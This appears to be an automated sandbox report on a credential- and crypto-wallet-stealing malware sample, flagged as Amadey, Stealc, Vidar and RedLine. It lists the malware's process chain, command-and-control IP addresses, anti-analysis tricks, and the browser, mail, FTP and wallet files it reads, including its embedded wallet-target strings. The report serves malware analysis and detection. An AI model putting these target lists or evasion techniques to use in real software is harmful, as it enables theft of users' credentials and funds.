Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle, 19_2_00405000
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_0041C8D9 SetUnhandledExceptionFilter, 19_2_0041C8D9
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 19_2_0041ACFA
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_0041A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 19_2_0041A718
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAEB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 19_2_6CAEB66C
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAEB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 19_2_6CAEB1F7
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC9AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 19_2_6CC9AC62
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Memory protected: page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: cda9e1cbbc.exe PID: 8108, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cda9e1cbbc.exe PID: 5332, type: MEMORYSTR
Searches for specific processes (likely to inject)
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 19_2_004190A0
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user~1\AppData\Local\Temp\0d8f5eb8a7\explorti.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process created: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe "C:\Users\user~1\AppData\Local\Temp\1000002001\cda9e1cbbc.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process created: C:\Users\user\1000003002\e0dbbf79bf.exe "C:\Users\user\1000003002\e0dbbf79bf.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\738B.tmp\738C.tmp\738D.bat C:\Users\user\1000003002\e0dbbf79bf.exe" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account" Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\B8C2.tmp\B8C3.tmp\B8F3.bat C:\Users\user\1000003002\e0dbbf79bf.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"
Source: explorti.exe, explorti.exe, 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmp Binary or memory string: GProgram Manager
Source: firefox.exe, 0000001C.00000002.2542512575.000000A3457EB000.00000004.00000010.00020000.00000000.sdmp Binary or memory string: ?Progman$
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Code function: 17_2_00EBD312 cpuid 17_2_00EBD312
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree, 19_2_00417630
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Queries volume information: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Queries volume information: C:\Users\user\1000003002\e0dbbf79bf.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Queries volume information: C:\Users\user\1000003002\e0dbbf79bf.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation Jump to behavior
Source: C:\Windows\System32\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Code function: 17_2_00EBCB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime, 17_2_00EBCB1A
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_004172F0 GetProcessHeap,HeapAlloc,GetUserNameA, 19_2_004172F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_004174D0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA, 19_2_004174D0

Stealing of Sensitive Information
barindex
Yara detected Amadeys stealer DLL
Source: Yara match File source: 6.2.explorti.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.explorti.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.explorti.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.JGKjBsQrMc.exe.4d0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000001.00000002.1318379606.00000000004D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.1275086044.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.1372649130.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.1320945755.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000003.1317907392.0000000005470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000003.2059650940.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.1359759408.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Yara detected RedLine Stealer
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 00000025.00000002.2534669785.00000000025EA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2542353391.0000000002607000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cda9e1cbbc.exe PID: 8108, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cda9e1cbbc.exe PID: 5332, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: Process Memory Space: cda9e1cbbc.exe PID: 8108, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: cda9e1cbbc.exe String found in binary or memory: lockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exo
Source: cda9e1cbbc.exe String found in binary or memory: us|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|M
Source: cda9e1cbbc.exe String found in binary or memory: lockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exo
Source: cda9e1cbbc.exe String found in binary or memory: us|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|M
Source: cda9e1cbbc.exe String found in binary or memory: \jaxx\Local Storage\
Source: cda9e1cbbc.exe String found in binary or memory: lockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exo
Source: cda9e1cbbc.exe String found in binary or memory: lockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exo
Source: cda9e1cbbc.exe String found in binary or memory: us|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|M
Source: cda9e1cbbc.exe String found in binary or memory: lockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exo
Source: cda9e1cbbc.exe String found in binary or memory: passphrase.json
Source: cda9e1cbbc.exe String found in binary or memory: \jaxx\Local Storage\
Source: cda9e1cbbc.exe String found in binary or memory: \Ethereum\
Source: cda9e1cbbc.exe String found in binary or memory: lockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exo
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.000000000263A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: 185.215.113.16ontdesk\AppData\Roaming\Binance\.finger-print.fp
Source: cda9e1cbbc.exe String found in binary or memory: Ethereum
Source: cda9e1cbbc.exe String found in binary or memory: file__0.localstorage
Source: cda9e1cbbc.exe String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: cda9e1cbbc.exe String found in binary or memory: \Exodus\exodus.wallet\
Source: cda9e1cbbc.exe String found in binary or memory: ltiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.js
Source: cda9e1cbbc.exe String found in binary or memory: us|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|M
Source: cda9e1cbbc.exe String found in binary or memory: lockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exo
Source: cda9e1cbbc.exe String found in binary or memory: lockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exo
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\Exodus\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\MultiDoge\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\Binance\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\ Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004 Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: Process Memory Space: cda9e1cbbc.exe PID: 8108, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected RedLine Stealer
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 00000025.00000002.2534669785.00000000025EA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2542353391.0000000002607000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cda9e1cbbc.exe PID: 8108, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cda9e1cbbc.exe PID: 5332, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: Process Memory Space: cda9e1cbbc.exe PID: 8108, type: MEMORYSTR
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CCA0C40 sqlite3_bind_zeroblob, 19_2_6CCA0C40
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CCA0D60 sqlite3_bind_parameter_name, 19_2_6CCA0D60
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CBC8EA0 sqlite3_clear_bindings, 19_2_6CBC8EA0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CCA0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob, 19_2_6CCA0B40
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CBC6410 bind,WSAGetLastError, 19_2_6CBC6410
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1482833 Sample: JGKjBsQrMc.exe Startdate: 26/07/2024 Architecture: WINDOWS Score: 100 96 www.youtube.com 2->96 98 spocs.getpocket.com 2->98 100 26 other IPs or domains 2->100 128 Multi AV Scanner detection for domain / URL 2->128 130 Found malware configuration 2->130 132 Malicious sample detected (through community Yara rule) 2->132 134 18 other signatures 2->134 10 explorti.exe 2 19 2->10         started        15 JGKjBsQrMc.exe 5 2->15         started        17 explorti.exe 2->17         started        19 4 other processes 2->19 signatures3 process4 dnsIp5 120 185.215.113.16, 49706, 49708, 49787 WHOLESALECONNECTIONSNL Portugal 10->120 122 185.215.113.19, 49705, 49707, 49710 WHOLESALECONNECTIONSNL Portugal 10->122 82 C:\Users\user\AppData\...\cda9e1cbbc.exe, PE32 10->82 dropped 84 C:\Users\user\AppData\Local\...\random[1].exe, PE32 10->84 dropped 86 C:\Users\user\AppData\Local\...\random[1].exe, PE32 10->86 dropped 88 C:\Users\user\1000003002\e0dbbf79bf.exe, PE32 10->88 dropped 154 Creates multiple autostart registry keys 10->154 156 Hides threads from debuggers 10->156 158 Tries to detect sandboxes / dynamic malware analysis system (registry check) 10->158 21 cda9e1cbbc.exe 42 39 10->21         started        26 e0dbbf79bf.exe 8 10->26         started        90 C:\Users\user\AppData\Local\...\explorti.exe, PE32 15->90 dropped 92 C:\Users\...\explorti.exe:Zone.Identifier, ASCII 15->92 dropped 160 Detected unpacking (changes PE section rights) 15->160 162 Tries to evade debugger and weak emulator (self modifying code) 15->162 164 Tries to detect virtualization through RDTSC time measurements 15->164 28 explorti.exe 15->28         started        166 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 17->166 94 C:\Users\user\AppData\Local\...\History, SQLite 19->94 dropped 30 firefox.exe 19->30         started        32 msedge.exe 19->32         started        34 msedge.exe 19->34         started        36 3 other processes 19->36 file6 signatures7 process8 dnsIp9 106 85.28.47.31, 49709, 49756, 49808 GES-ASRU Russian Federation 21->106 68 